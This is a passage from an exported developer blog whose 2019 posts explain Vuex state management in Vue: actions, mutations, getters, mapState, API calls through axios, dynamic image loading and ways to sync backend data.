store? What\u0026rsquo;s the best, most efficient way to accomplish this?\nAs I talked about in my article on the purpose of Vuex, Vuex is not meant to act as a central datastore. It\u0026rsquo;s not a permanent place to keep data by any means. If a user navigates away from the application or the user\u0026rsquo;s browser crashes, everything that was stored in Vuex will be gone. For this reason, we never want to store something in Vuex and tell the user it has changed if the real data (the data in the back-end database) has not actually changed. We want to make sure that data changes first before updating the UI and possibly misleading a user.\nSo, how can we accomplish this? Again, I have taken some inspiration from the Vue Real World project by gothinkster. I think that the way they handle it is pretty good. It assumes a couple of things:\nWhen data changes in the application, always send it to the back-end. Don\u0026rsquo;t save changed data in the Vuex store. Instead, get it again from the back-end. Sending data to the back-end API using Actions # One of the requirements of using Vuex to work with a back-end API is that all changes to data should not go through mutations, but instead through actions. I talked at one point about why you might want to make logic changes to data in Vuex through actions and calling APIs certainly falls under the category \u0026ldquo;logic\u0026rdquo;.\nSo all data manipulation that needs to be saved to a back-end should happen through Actions. As an example, let\u0026rsquo;s imagine that our application allows adding a new user to a system that we are creating. When the form is submitted for a new user, what we want to do is have that passed to a Vuex action from the component:\nmethods: { submitUser() { this.$store.dispatch(\u0026#39;saveUser\u0026#39;, this.user); } } Then, in Vuex action, you can save that data by calling the back-end API:\nactions: { saveUser(context, user) { Vue.axios.post(\u0026#39;users\u0026#39;, user); } } And then, once the promise resolves, make a call to load in the users again from the back-end:\nactions: { saveUser(context, user) { Vue.axios.post(\u0026#39;users\u0026#39;, user).then(result =\u0026gt; { context.dispatch(\u0026#39;loadUsers\u0026#39;); }); }, loadUsers({commit}) { ... } } So the flow here becomes:\nCall the action from the component to save the new user In the action, call the API to save the user data to the back-end After the back-end says everything is good, get the new data from the back-end It might seem strange to get the data that we just saved to the back-end, but it solves a couple of pressing issues.\nThe back-end should be in charge of final validation on all data. By getting the data from the back-end after saving it there, we ensure that the data is fully validated before we set that data in Vuex for the components to use. The back-end may need to change or format the data or set unique ids on the data. By passing the data to the back-end and then getting it back from the back-end, we can be sure the id and other data will be populated and that we\u0026rsquo;ll have it in the front-end. One of our main goals should be to make sure our data stays in sync with the back-end. This is a good approach to make sure that happens.\n","date":"1 December 2019","externalUrl":null,"permalink":"/how-to-save-data-api-vuex/","section":"Posts","summary":"I talked before about how to query your back-end API from Vuex, but that was mainly centered on getting data. What happens when you want to save data to a back-end API after it is updated or added in the Vuex store? What’s the best, most efficient way to accomplish this?\n","title":"How to save data to your API using Vuex","type":"posts"},{"content":"There are a lot of things to worry about when it comes to Vue applications. You\u0026rsquo;ve got SPAs and routing and web workers and Jest and Cypress and everything else. It gets overwhelming pretty quickly. The hard part is not learning these technologies, it\u0026rsquo;s knowing what their place is in the application.\nSo, Vuex. What the heck is it for and why might you want to use it?\nTo start with, let me tell you what its function is. Vuex is a Vue addon that acts as a central data store to all the parts of your front-end application. A Vue application is composed of a lot of separate but coordinated components that, when put together, create a functioning front-end application. You might have a screen to edit users, a screen to show users, a screen to show a specific user and they all need to work together and communicate with each other to be in a useful way. Vuex can help do that by keeping all that data in one place and allowing all of these separate components to access and change it.\nAnd that\u0026rsquo;s what Vuex can do. So what is Vuex?\nVuex is a front-end datastore # Vuex is a datastore that is used by all the components in an application to share data. When a component creates data, it can put it into Vuex so that other components can use it. If a component displays or uses data from Vuex, it will be updated immediately if that data ever gets updated. In other words, its data is reactive.\nVuex acts as a central place for data to live. This doesn\u0026rsquo;t mean that all data goes there. If there really is data that\u0026rsquo;s only used by a single component, that component can still have data properties all its own. But if the same data needs to be synced across multiple components, that\u0026rsquo;s where Vuex comes in.\nVuex is a single source of truth # You\u0026rsquo;ll see this often in the documentation. What does single source of truth mean?\nI mentioned \u0026ldquo;synced across multiple components\u0026rdquo; before and that\u0026rsquo;s exactly what you don\u0026rsquo;t want to do. You don\u0026rsquo;t want copies of data in each component that you have to keep in sync between components. Imagine having each component having their own data properties that, when one changes, you had to somehow let all the others know that it changed and then copying that data between all the components. (Please don\u0026rsquo;t ever do that.)\nVuex acts as the single source to go for data. If every component knows to keep and get data in Vuex instead of individually and treat it as the source of data, that greatly simplifies your application.\nVuex is not a database # Nothing in Vuex is meant to be permanent. Vuex is not your database and you should not load your entire database into Vuex! Vuex is simply there to hold data that the user needs right now. Front-ends should be fast and light, so only keep in the Vuex store what the user is currently interested in seeing. If they need new information, clear the current stuff and load in the information from a separate permanent storage. And if something changes and needs to be saved to the permanent store, do that right away. Don\u0026rsquo;t wait because Vuex won\u0026rsquo;t stick around if someone leaves the page or the app crashes.\nYou might be wondering about offline abilities. Shouldn\u0026rsquo;t you load things into Vuex so the user can work offline?\nNo. That\u0026rsquo;s what Window.localStorage or IndexedDB API is for. You can tie your Vuex store to these more permanent datastores, but Vuex does not replace them. Vuex is always temporary data that your components are using right now.\nSo what\u0026rsquo;s the purpose of Vuex? To simplify your Vue application\u0026rsquo;s data handling. It\u0026rsquo;s there to keep all your runtime data in one place and accessible to all the components in your application. If you can learn to use this powerful tool, you\u0026rsquo;re going to make your work a whole lot easier to code and maintain.\n","date":"24 November 2019","externalUrl":null,"permalink":"/whats-the-purpose-of-vuex/","section":"Posts","summary":"There are a lot of things to worry about when it comes to Vue applications. You’ve got SPAs and routing and web workers and Jest and Cypress and everything else. It gets overwhelming pretty quickly. The hard part is not learning these technologies, it’s knowing what their place is in the application.\n","title":"What's the purpose of Vuex?","type":"posts"},{"content":"If there is one thing that I see developers looking into Vuex getting hung up on the most, it\u0026rsquo;s these weird map functions that are in Vuex. The syntax is just so damn weird. What the hell are these ... things doing? Why do I need them sometimes and not others?\nThe Vuex docs seem to assume a lot here, mainly that you\u0026rsquo;re already a JavaScript guru and secondly that you\u0026rsquo;ve heard of a spread operator which is an operator so rarely used in JavaScript that you may have never seen it before.1\nTo explain all of these concepts, I\u0026rsquo;m going to pull up a simple example.\nImagine, if you will, that we have a Vue component that shows a user\u0026rsquo;s name in the UI:\n\u0026lt;template\u0026gt; \u0026lt;h1\u0026gt;{{ honorific }} {{ firstName }} {{ lastName }}\u0026lt;/h1\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#39;show-name\u0026#39;, computed: { honorific() { return this.$store.state.honorific; }, firstName() { return this.$store.state.firstName; }, lastName() { return this.$store.state.lastName; } } } \u0026lt;/script\u0026gt; And a Vuex store with the following state:\nstate: { honorific: \u0026#39;Mr.\u0026#39;, firstName: \u0026#39;Johnny\u0026#39;, lastName: \u0026#39;Bravo\u0026#39; } When the Vuex store is passed into the Vue component, the component will use the value from the firstName from the Vuex store as a computed property called firstName. So when the UI references firstName, it will get the value from the store. Same, of course, for lastName and honorific.\nThis is such a common thing to do that Vuex decided that they would make a helper method to make this easier. If all of your values come from the Vuex store for your component, you can replace all the boiler plate above with this:\n\u0026lt;script\u0026gt; import {mapState} from \u0026#39;vuex\u0026#39;; export default { name: \u0026#39;show-name\u0026#39;, computed: mapState([\u0026#39;honorific\u0026#39;, \u0026#39;firstName\u0026#39;, \u0026#39;lastName\u0026#39;]) } \u0026lt;/script\u0026gt; That\u0026rsquo;s a lot less typing! But what is it doing?\nWhat\u0026rsquo;s happening is that mapState() is returning an object that has all of that previous code already filled out. All the functions get set up for us, so all we need to do is pass them straight to computed.\nIn other words, this:\nmapState([\u0026#39;honorific\u0026#39;, \u0026#39;firstName\u0026#39;, \u0026#39;lastName\u0026#39;]) Returns this:\n{ honorific() { return this.$store.state.honorific; }, firstName() { return this.$store.state.firstName; }, lastName() { return this.$store.state.lastName; } } computed is already expecting an object full of functions, so it takes those and uses them. This is Vuex trying to be helpful! Thanks, Vuex!\nBut what happens when we have other computed properties? If mapState() is returning an entire object, we aren\u0026rsquo;t able to do this:\n\u0026lt;script\u0026gt; import {mapState} from \u0026#39;vuex\u0026#39;; export default { name: \u0026#39;show-name\u0026#39;, computed: { fullName() { return this.firstName + \u0026#39; \u0026#39; + this.lastName; }, mapState([\u0026#39;honorific\u0026#39;, \u0026#39;firstName\u0026#39;, \u0026#39;lastName\u0026#39;]) } } \u0026lt;/script\u0026gt; mapState() is returning an entire object, so the above code is equivalent to:\n\u0026lt;script\u0026gt; import {mapState} from \u0026#39;vuex\u0026#39;; export default { name: \u0026#39;show-name\u0026#39;, computed: { fullName() { return this.firstName + \u0026#39; \u0026#39; + this.lastName; }, { honorific() { return this.$store.state.honorific; }, firstName() { return this.$store.state.firstName; }, lastName() { return this.$store.state.lastName; } } } } \u0026lt;/script\u0026gt; And, yuk, that\u0026rsquo;s not right at all. In fact, it won\u0026rsquo;t even run and you should get a big, ugly error message on the screen. This is because computed is expecting an object with functions, not an object embedded in another object that has functions. That\u0026rsquo;s just bad syntax.\nWhat we want to do it take those functions out of the object and put them in the computed object.\nWell, you can. Modern versions of JavaScript have an operator called the spread operator and it\u0026rsquo;s that strange ... you see in some of the documentation. Putting ... before the mapState() method says to take each thing in the object returned and put it right here. Rip it out of that object and put it in this one right here. In our example, it turns this:\n\u0026lt;script\u0026gt; import {mapState} from \u0026#39;vuex\u0026#39;; export default { name: \u0026#39;show-name\u0026#39;, computed: { fullName() { return this.firstName + \u0026#39; \u0026#39; + this.lastName; }, ...mapState([\u0026#39;honorific\u0026#39;, \u0026#39;firstName\u0026#39;, \u0026#39;lastName\u0026#39;]) } } \u0026lt;/script\u0026gt; Into this:\n\u0026lt;script\u0026gt; import {mapState} from \u0026#39;vuex\u0026#39;; export default { name: \u0026#39;show-name\u0026#39;, computed: { fullName() { return this.firstName + \u0026#39; \u0026#39; + this.lastName; }, honorific() { return this.$store.state.honorific; }, firstName() { return this.$store.state.firstName; }, lastName() { return this.$store.state.lastName; } } } \u0026lt;/script\u0026gt; And now we have a valid object of functions.\nTL;DR # To recap:\nIf you have no other computed properties, use this:\ncomputed: mapState() Otherwise, use this:\ncomputed: { otherProperty() { return \u0026#39;value\u0026#39;; }, ...mapState() } That\u0026rsquo;s it. It is here to make your life easier, not more confusing. Hopefully now, it can do that for you.\nIt\u0026rsquo;s also really new. Edge doesn\u0026rsquo;t even really support it yet. This is why it\u0026rsquo;s important to use something like Babel that can help these poor, lowly browsers play better with newer syntax.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"18 November 2019","externalUrl":null,"permalink":"/basics-of-mapstate-vuex/","section":"Posts","summary":"If there is one thing that I see developers looking into Vuex getting hung up on the most, it’s these weird map functions that are in Vuex. The syntax is just so damn weird. What the hell are these ... things doing? Why do I need them sometimes and not others?\n","title":"The basics of mapState (it's not as hard as it looks)","type":"posts"},{"content":"","date":"10 November 2019","externalUrl":null,"permalink":"/tags/api/","section":"Tags","summary":"","title":"Api","type":"tags"},{"content":"Once you start using Vuex to manage the shared data of your Vue application, it becomes less clear on where or how to call your back-end API. I think everyone starts out making API calls in the created function of your component. But that doesn\u0026rsquo;t scale past a handful of components. Then, they end up loading in the same data over and over again and each component has it\u0026rsquo;s own copy, which is impossible to keep in sync. You lose the efficiency of having one part of the system in control of the data when you do that and on a larger application, this very quickly falls apart.\nYou could try to share the data pool using a Vuex store with every component calling APIs and shoving the data into Vuex, but then every component is sharing API logic and unit testing becomes pretty impossible to do. Components shouldn\u0026rsquo;t really be messing with outside resources that much and should instead focus on their one area of responsibility. Otherwise, you get maintenance hell.\nThere seem to be a million ways to do this, but a simple one I\u0026rsquo;m going to show now is one that I have liked and have seen in other projects, too.\nThe responsibility of the data for the application rests squarely on Vuex and so I will show how Vuex can handle all back-end data interactions as well. This will keep our data responsibilities all in one place.\nI have a bare bones sample project on CodeSandbox here, if you want to check it out: https://codesandbox.io/s/example-api-call-from-vuex-t7zxw\nMaking the API call # Vuex has two sections where logic can be kept; actions and mutations. I\u0026rsquo;ve talked before in Understanding data flow in Vuex about what the difference is between these two sections but we\u0026rsquo;re going to use them together to perform our API call.\nFirst, create a new state field for the user information, which will be coming in as an array of objects, but that we can just set to an empty array to start with:\nstate: { users: [] }, Then we want to set up a simple mutation (all mutations should be simple) that will take a new set of users and set them to the state:\nmutations: { SAVE_USERS(state, users) { state.users = users; } } We\u0026rsquo;re now ready for the actual API call. I\u0026rsquo;m going to use Axios and Vue-Axios for this call, which is a library that makes API calls super simple and sane.\nFirst, I\u0026rsquo;ll set the default base URL to the API1:\nVue.axios.defaults.baseURL = \u0026#34;https://jsonplaceholder.typicode.com/\u0026#34;; Then we can set up an action to actually make the API call. Why an action? Because this is a call that will do some logic and will take time (network calls always take an unknown amount of time). Actions are meant to be asynchronous while mutations should happen as near to instantly as possible.\nSo we make an action that makes the API call and then calls the mutation with to set the data once it\u0026rsquo;s done.\nactions: { loadUsers({commit}) { Vue.axios.get(\u0026#39;users\u0026#39;).then(result =\u0026gt; { commit(\u0026#39;SAVE_USERS\u0026#39;, result.data); }).catch(error =\u0026gt; { throw new Error(`API ${error}`); }); } }, This Vuex store not only handles the local data store like it should, it also has all the logic needed to refresh the data store from the back-end.\nUsing the Vuex store in a component # How should this back-end aware Vuex store be used in a component? Most everything will be the same as usual. We\u0026rsquo;ll create computed properties that will link to the Vuex\u0026rsquo;s state information:\ncomputed: { users() { return this.$store.state.users; } }, or, using mapState()\ncomputed: mapState([\u0026#39;users\u0026#39;]), The trick is that the action in the Vuex store to load in the users, loadUsers(), will not magically call itself. So a component will do that itself when it is created:\ncreated() { this.$store.dispatch(\u0026#39;loadUsers\u0026#39;); } This doesn\u0026rsquo;t do anything to the component except let the Vuex store know that it wants some user data. Once the user data loads into the Vuex store, the computed mapping to that state is triggered and the component will show the new data.\nIf there were multiple back-end endpoints, as there would be in any application that wasn\u0026rsquo;t super simple, then a component would just trigger a load for data that it needed. There is no need to load in everything from the back-end all at once if it\u0026rsquo;s not needed by any of the components that are on the page.\nIf you want to see this in action, feel free to look at the CodeSandbox I set up called Example API call from Vuex.\nThis is one way to handle API calls in a Vue application and one that is shown in the Real World Vue project on Github. I like this approach in that it keeps all the data handling within the sphere of Vuex and let\u0026rsquo;s the components be both focused on their front-end presentation duties and unit testable since they aren\u0026rsquo;t connecting to any system outside of themselves except the easily mockable Vuex store.\nThis would usually go in an environment variable. Hard coding it here merely as an example. Here, we\u0026rsquo;re using data from a faked API over at JSON Placeholder.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"10 November 2019","externalUrl":null,"permalink":"/how-to-query-your-api-using-vuex-in-your-vue-application/","section":"Posts","summary":"Once you start using Vuex to manage the shared data of your Vue application, it becomes less clear on where or how to call your back-end API. I think everyone starts out making API calls in the created function of your component. But that doesn’t scale past a handful of components. Then, they end up loading in the same data over and over again and each component has it’s own copy, which is impossible to keep in sync. You lose the efficiency of having one part of the system in control of the data when you do that and on a larger application, this very quickly falls apart.\n","title":"How to query your API using Vuex in your Vue application","type":"posts"},{"content":"","date":"2 November 2019","externalUrl":null,"permalink":"/tags/components/","section":"Tags","summary":"","title":"Components","type":"tags"},{"content":"When I first started using Vue, one thing I got continually wrong was how to load an image into a Vue component dynamically. At first, I found that using an absolute URL worked, but that was only useful if I was storing the images on a CDN or other external site. If I included the images in my project, as either lightweight icons or static images, then using an absolute URL, with hostname and all, didn\u0026rsquo;t really work. What about when I wanted to test some new images locally or on a dev server? Linking directly to the images in production just wasn\u0026rsquo;t going to cut it.\nWhen researching this, the Vue CLI documentation for static assets was, frankly, a little less than helpful. They didn\u0026rsquo;t give a good example for what I was trying to do.\nWhat I was building was a little form control to take credit card numbers. It consisted of a single file Vue component and looked something like this:\n\u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;form-group\u0026#34;\u0026gt; \u0026lt;label\u0026gt;Credit Card Number\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;creditCardNumber\u0026#34; v-model=\u0026#34;creditCardNumber\u0026#34; placeholder=\u0026#34;1111111111111111\u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;creditLogo\u0026#34; v-bind:src=\u0026#34;creditCardLogoSrc\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#39;credit-card-field\u0026#39;, computed: { creditCardLogoSrc(vm) { if(vm.creditCardNumber.startsWith(\u0026#39;4\u0026#39;)) { // Return the Visa image } else if (vm.creditCardNumber.startsWith(\u0026#39;5\u0026#39;)) { // Return the Mastercard image } else if (vm.creditCardNumber.startsWith(\u0026#39;6\u0026#39;)) { // Return the Discover image } else { // Return the generic image } } }, data() { return { creditCardNumber: \u0026#39;\u0026#39; } } } \u0026lt;/script\u0026gt; What I wanted to happen was, as the user is typing in their credit card number, I will look at it and swap out the img tag\u0026rsquo;s source to show the credit card type that they were entering. I had a Visa image, a Mastercard image and a Discover image as well as the image of a generic credit card if it didn\u0026rsquo;t match any of those. Since all Visas start with 4, all Mastercards start with 5, and all Discover cards start with 6, this would be a pretty easy check to do.\nThe logic ended up being the easy part. The hard part was loading the images. I had the images in the Vue CLI provided assets folder, but how do I load them in?\nLooking at the documentation, there are a lot of \u0026ldquo;in templates, do this\u0026rdquo; and \u0026ldquo;only in templates!\u0026rdquo; kinds of things. But I wasn\u0026rsquo;t in a template. I was in the code part of my component.\nAfter much research, I found the answer was to require() the images from the asset folder. Intuitive! 😒\nSo, when I need to use an image that is in the assets folder, I can require() the relative path to that image in my computed method:\ncreditCardLogoSrc(vm) { if(vm.creditCardNumber.startsWith(\u0026#39;4\u0026#39;)) { return require(\u0026#39;../assets/visa.png\u0026#39;); } else if (vm.creditCardNumber.startsWith(\u0026#39;5\u0026#39;)) { return require(\u0026#39;../assets/mastercard.png\u0026#39;); } else if (vm.creditCardNumber.startsWith(\u0026#39;6\u0026#39;)) { return require(\u0026#39;../assets/discover.png\u0026#39;); } else { return require(\u0026#39;../assets/credit.png\u0026#39;); } } One nice plus to doing it this way is, if the image is small enough, require() will return a dataurl instead of a URL path, which will save an extra call to the server and make the component a little more self contained.\nSo if you need to load images from inside a Vue CLI project\u0026rsquo;s assets folder from outside the template of your component, now you know how.\n","date":"2 November 2019","externalUrl":null,"permalink":"/loading-dynamic-images-vue-cli-component/","section":"Posts","summary":"When I first started using Vue, one thing I got continually wrong was how to load an image into a Vue component dynamically. At first, I found that using an absolute URL worked, but that was only useful if I was storing the images on a CDN or other external site. If I included the images in my project, as either lightweight icons or static images, then using an absolute URL, with hostname and all, didn’t really work. What about when I wanted to test some new images locally or on a dev server? Linking directly to the images in production just wasn’t going to cut it.\n","title":"Loading dynamic images in a Vue Component","type":"posts"},{"content":"One big question people have when building frontend applications is, what\u0026rsquo;s the best way to keep backend data synced with my frontend data? You seem to always get different answers from different people and the dreaded \u0026ldquo;It depends\u0026rdquo;. Well, what does it depend on?\nHere are the four main ways that developers keep their data in sync and the reasons why you might choose one over the other.\n1. Refresh data on every action # You could refresh the data on every action that the user takes. User opens the app? Pull the information from the backend. User views the list of pictures they saved? Repull the information from the backend. User saves a new picture? Save it, then repull the information from the backend. This is very useful when\nThis is typically a perfectly reasonable way to start out and is the technique that most developers come to when first starting out. If your data is not too heavy, this is probably the main way to go. I\u0026rsquo;m a fan of avoiding premature optimization and so would recommend this to any dev just starting out.\nThis is especially true if your application has data that only this user will be editing. If there\u0026rsquo;s no real fear of the data changing on the backend when the application is running, then there\u0026rsquo;s no need to change the data unless this user changes it themselves.\nUsers would expect this kind of behavior in any application that is essentially single user, like a nutrition tracker or bookmark manager.\n2. Add a refresh button # You could refresh the data only when a user clicks on a refresh button on the page. This puts the responsibility for getting new information from the backend on the user, but can cut down on the number of network calls that your application needs to make. This could either be an explicit button or, in the case of mobile apps, a swipe down on the screen to trigger a refresh.\nThere are many applications that follow this approach. If real time data is not vital to the application, a nice refresh button on the screen can allow a user to update the data when they want it to update.\nThere are many times when updating data when the user doesn\u0026rsquo;t expect it could lead to confusion on the user\u0026rsquo;s part. YouTube\u0026rsquo;s Trending channel follows this convention on mobile and Twitch will not real-time update the channel list either. If they did, as new information came into the system, the user would be constantly trying to hit a moving target. Better to show them the current recommendations right now and let them tell you when they want a new set of data.\n3. Periodic refresh # You could refresh the data every five minutes or half an hour. By setting a timer and refreshing data when the timer is up, you can keep the screen refreshed with the latest information without overwhelming the user or your server. This used to be how many of the browser-based email clients worked (and some probably still do) but I will say that most of them have moved on to using the next method that I\u0026rsquo;ll talk about.\nIf your application is kept in a tab and left to run often and alerts don\u0026rsquo;t need to be delivered the minute they happen, this can still be a useful technique to follow.\n4. Push Notifications # The last technique is called Push Notifications on mobile and implemented with either Web Sockets or Web Push. (It used to be called Comet, but the technique that describes is long past its prime.)\nThis is when the backend pushed data to the client instead of the client asking for data from the backend. When the frontend starts, it registers with the backend that it wants real time data updates and then, when something comes into the backend that the frontend needs, the backend will push that information to the frontend right away.\nThink any chat application, from Facebook Messenger to Google Hangouts. They are using some form of Push Notification, but so is Slack in your browser window. Use this when users want information right away and a delay wouldn\u0026rsquo;t be acceptable.\nAll together now # While these are all very distinct methods for updating data, they are best used together, depending on the circumstances outlined above. If I\u0026rsquo;m looking at my Twitter feed on mobile, Twitter will use periodic checks to see if I have any updates (option 3). If I have an update, it will enable a \u0026ldquo;See X new tweets\u0026rdquo; refresh button that I can click to pull the new data (option 2). And if I\u0026rsquo;m on my user profile page, it won\u0026rsquo;t attempt to load in new data at all until I click out of it and back in (option 1). Every app is going to pick a different technique to use depending on what user experience they want the user to have.\nSo look into these different techniques for your frameworks and think about it this way, What does the user expect to happen? That\u0026rsquo;s the best way to choose how to sync your data.\n","date":"17 August 2019","externalUrl":null,"permalink":"/four-ways-keep-backend-data-synced-frontend/","section":"Posts","summary":"One big question people have when building frontend applications is, what’s the best way to keep backend data synced with my frontend data? You seem to always get different answers from different people and the dreaded “It depends”. Well, what does it depend on?\n","title":"Four ways to keep backend data synced with your frontend","type":"posts"},{"content":"","date":"17 August 2019","externalUrl":null,"permalink":"/tags/frontend/","section":"Tags","summary":"","title":"Frontend","type":"tags"},{"content":"One of the questions that comes up time and again concerning Vuex is \u0026ldquo;Do I always use a getter when accessing data? Or can I directly access the raw state?\u0026rdquo; It\u0026rsquo;s one of those things you hear about that you should do, but no one seems to really explain why. And do you really need to create a getter for every single piece of data that you put in the store? Isn\u0026rsquo;t that just a bunch of unneeded boilerplate and duplication?\nCan you directly access Vuex state from a component? # So, first the technical answer: there is nothing stopping you from accessing state directly in a component. In fact, you can do it directly in a component\u0026rsquo;s UI if you want to.\n\u0026lt;template\u0026gt; \u0026lt;p\u0026gt; {{ $store.state.clickCount }} clicks! \u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; Or in any Vue method or computed property, for that matter. Direct state reading is 100% available.\nShould you directly access Vuex state from a component? # This is a bit of a different discussion. Just because you can do something doesn\u0026rsquo;t mean that you should do something. At least, that\u0026rsquo;s what my mom always told me. I found it out the hard way when I realized I could drink Mountain Dew through a Twizzler. I did that for a couple of days straight and quickly realized that some things were just not meant to be done.\nIs accessing Vuex state directly one of those things? Should you directly access state?\nNo, you shouldn\u0026rsquo;t # This is what I think of as the Java approach. In Java, all data access of an object\u0026rsquo;s variables is done through what are called Getters. (Sound familiar?) The idea is that allowing direct access to an instance variable is a bad idea. What if you want to change how that instance variable is represented at some point in the future? What if you want to lock down who can set it? What if you want to add validation around the kinds of values you can set on it?\nAll of the above would break Encapsulation and that\u0026rsquo;s a very bad thing. Many programmers have gravitated to this idea: You must have data access go through a function so that the programmer always has control over how that data is accessed. You might have a getter that just returns the data, but having the getter means that you always have the option of changing how that data is represented or used at any time.\nThis makes a lot of sense in a rigid language like Java. Java is just not very flexible, so adding in the getters right from the beginning can same you a lot of time down the road. Especially when a lot of Java code is reused across projects and having a standard naming convention (like getters) can really simplify a lot of pieces.\nAnd Java also has types. If you wanted to change what data type a certain piece of data was, it would break any and all code that relied on the old version. But if everything uses getters, you can keep the old getter, make a new getter with a different name and keep everything chugging along very happily.\nThere is also the idea that if you only use getters in Vuex, you\u0026rsquo;ll never accidentally try to set the value. You can technically set state in a Vuex store, but that\u0026rsquo;s a really bad idea (as I explained in Why should you only change state in Vuex through mutations?). Using only getters will save you from ever accidentally doing this because it will throw an error instead of letting you do it.\nEDIT: Alexander Van Maele pointed out in the comments on dev.to that it can also be really useful to use getters when trying to access deeply nested material in the state.\n[W]hen accessing beyond two levels, I generally like using a getter. So state.selectedOrder.deliveryTime.date becomes getters.deliveryDate\nAnother very good reason to use getters as this improves readability in the components by a lot.\nYes, you should # Some will argue (including me) that you should access the state if that\u0026rsquo;s all you need. Why add unneeded complexity to your application? The more lines of code you have, the more places bugs can hide. Only add complexity when you absolutely have to. In this case, when that data needs to be filtered or formatted before being used. This is the same idea of why you write code only to pass the most recent test in TDD. Many object oriented designers swear by this approach too, including my favorite Sandi Metz. Only write the code you need, not the code you think you might need maybe sometime but not now. Code design happens much more organically because you are refactoring as you go and watching for efficiencies that you can add as you add new code.\n(An aside: I highly recommend Sandi\u0026rsquo;s book Practical Object Oriented Design for any developer looking at how to design their applications. It is focused on object orientation and the Ruby language, but the principles in there are top notch if you\u0026rsquo;re looking to move to the next level of development.)\nWith these principles, future changes are easy. Need to use a getter instead of the direct state at some point down the line? Just search and replace it. Code editors are very powerful in this regard now and changing $store.state.clickCount to $store.getter.clickCount in every component in your project can be done and tested in seconds. JavaScript (and even TypeScript) just aren\u0026rsquo;t as rigid as Java is. Use that flexibility to your advantage and don\u0026rsquo;t get caught up in the right way to do things from other languages.\nAnother reason that Java uses getters all the time is because Java also uses setters to set data. If they gave direct access to the variable, it would be impossible to eventually validate or restrict write access to them if the time ever came to do that. When talking about Vuex, our setters are Mutations, and I\u0026rsquo;ve already talked about why those are important to use. They are also a great place to do validation or other checking of the data before actually setting it.\nSo\u0026hellip; # I think a lot of the advice to only access data through getters is trying to apply lessons from other languages to JavaScript and Vue, and I\u0026rsquo;m not entirely sure they always apply. My main goal is always simplicity and sometimes it\u0026rsquo;s just simpler to access the state directly. The moment it\u0026rsquo;s not, I can add a getter and then run search and replace in my code. Easy and straightforward.\nSaying that, I would expect that you\u0026rsquo;ll access most data through getters. They are powerful for filters and formatting and a lot of data is going to benefit from being filtered and formatted.\nBut many developers are doing it in different ways and it\u0026rsquo;s hard to say if anyone is wrong or 100% right about it. Ultimately the final decision is up to you.\n","date":"8 August 2019","externalUrl":null,"permalink":"/should-you-always-use-getters-in-vuex/","section":"Posts","summary":"One of the questions that comes up time and again concerning Vuex is “Do I always use a getter when accessing data? Or can I directly access the raw state?” It’s one of those things you hear about that you should do, but no one seems to really explain why. And do you really need to create a getter for every single piece of data that you put in the store? Isn’t that just a bunch of unneeded boilerplate and duplication?\n","title":"Should you always use getters in Vuex?","type":"posts"},{"content":" Thank you so much for coming out and seeing my talk at the JavaScript and Friends conference (or the video later on). I wanted to give you some extra links to some of the things that I talked about.\nReferences:\nThe Web Component tutorial that I got the word counter from The Vue Web Component Wrapper Vue CLI documentation for building Web Components The code examples from the talk Code from Martine Dowden\u0026rsquo;s talk on Vanilla JavaScript Web Components Other articles that I\u0026rsquo;ve written on Web Components:\nWhat are custom HTML elements? :: JErickson.net Setting up a Vue CLI project for building Custom HTML Elements :: JErickson.net Building custom elements from Vue using the CLI :: JErickson.net Thanks again for coming out and if you have any questions about this, hit me up on Twitter or on Dev.to or sign up for my newsletter below.\n","date":"2 August 2019","externalUrl":null,"permalink":"/js-custom-elements/","section":"Welcome to JErickson.net","summary":" Thank you so much for coming out and seeing my talk at the JavaScript and Friends conference (or the video later on). I wanted to give you some extra links to some of the things that I talked about.\n","title":"Thank you for seeing my talk at JavaScript and Friends!","type":"page"},{"content":"","date":"31 July 2019","externalUrl":null,"permalink":"/tags/statemanagement/","section":"Tags","summary":"","title":"Statemanagement","type":"tags"},{"content":"If you\u0026rsquo;re like me, when you first ran into Vuex, you probably wondered \u0026ldquo;How the heck does this work?\u0026rdquo; It\u0026rsquo;s not immediately obvious how these types of state management systems work, especially if you come from an SQL background. And do I even need it? In fact, the Vuex documentation has a quote that sums it up pretty well:\nFlux libraries are like glasses: you\u0026rsquo;ll know when you need them.\nDan Abramov Flux, Vuex, Mobx\u0026hellip;what are all these \u0026ldquo;x\u0026quot;es about? Well, at some point the fuzziness of my data became too much and I realized I needed some Vuex glasses. So, I headed over to Vuex site to see what all the hullabaloo was about.\nMaybe it\u0026rsquo;s me, maybe I\u0026rsquo;m just getting old, but that site did not do a great job of explaining how the heck Vuex worked. It seemed very complex and fiddly and I really didn\u0026rsquo;t want to use it. All of those Core Concepts and Application Structure and ugh.\nThankfully, I dove into it more and found that it wasn\u0026rsquo;t all that complex after all. I just needed to break it down in a napkin sketch.\nTada! Clear as mud!\nMaybe I should break this down a little more.\nVuex is a way to keep all your data in one place # Fundamentally, that\u0026rsquo;s all Vuex is. This is called having a \u0026ldquo;source of truth\u0026rdquo; for your application. Your components will connect to Vuex to access the shared data that lives there. But how exactly does that work?\nData is kept in the State # The data is kept in the state of the Vuex data store. Your component can read that data and, since it\u0026rsquo;s reactive, update itself when the data in the state updates. Every component in the application is listening to this same state, so everyone stays in-sync.\nData is changed via Mutations # Now that the data is in there, you can just directly update it, right?\nNO.\nOne of the important concepts about Vuex is that you should not be changing the state directly. It should only be changed through a mutation. All state changes will happen through mutations. Always. Just remember that and you\u0026rsquo;ll be fine.\nAlso, mutations should be very simple, taking data and setting it in the state and that\u0026rsquo;s it. Anything with any more logic than that will go into actions, as you\u0026rsquo;ll see next.\nWhy do you only change state through mutations? # Go check out my article on Why should you always use mutations in Vuex. You\u0026rsquo;ll see some of my thoughts on mutations over there.\nLogic operations related to the data live in Actions # Sometimes there might be logic operations that relate to the data, like an AJAX call that pulls data into the application or a generator that creates new GUIDs. That shouldn\u0026rsquo;t live in a specific component, it\u0026rsquo;s a data operation so it should be with the data. That\u0026rsquo;s what the actions are for.\nAnything that would be long running should live in an action. Actions, again, never update the state, but they can call mutations that update the 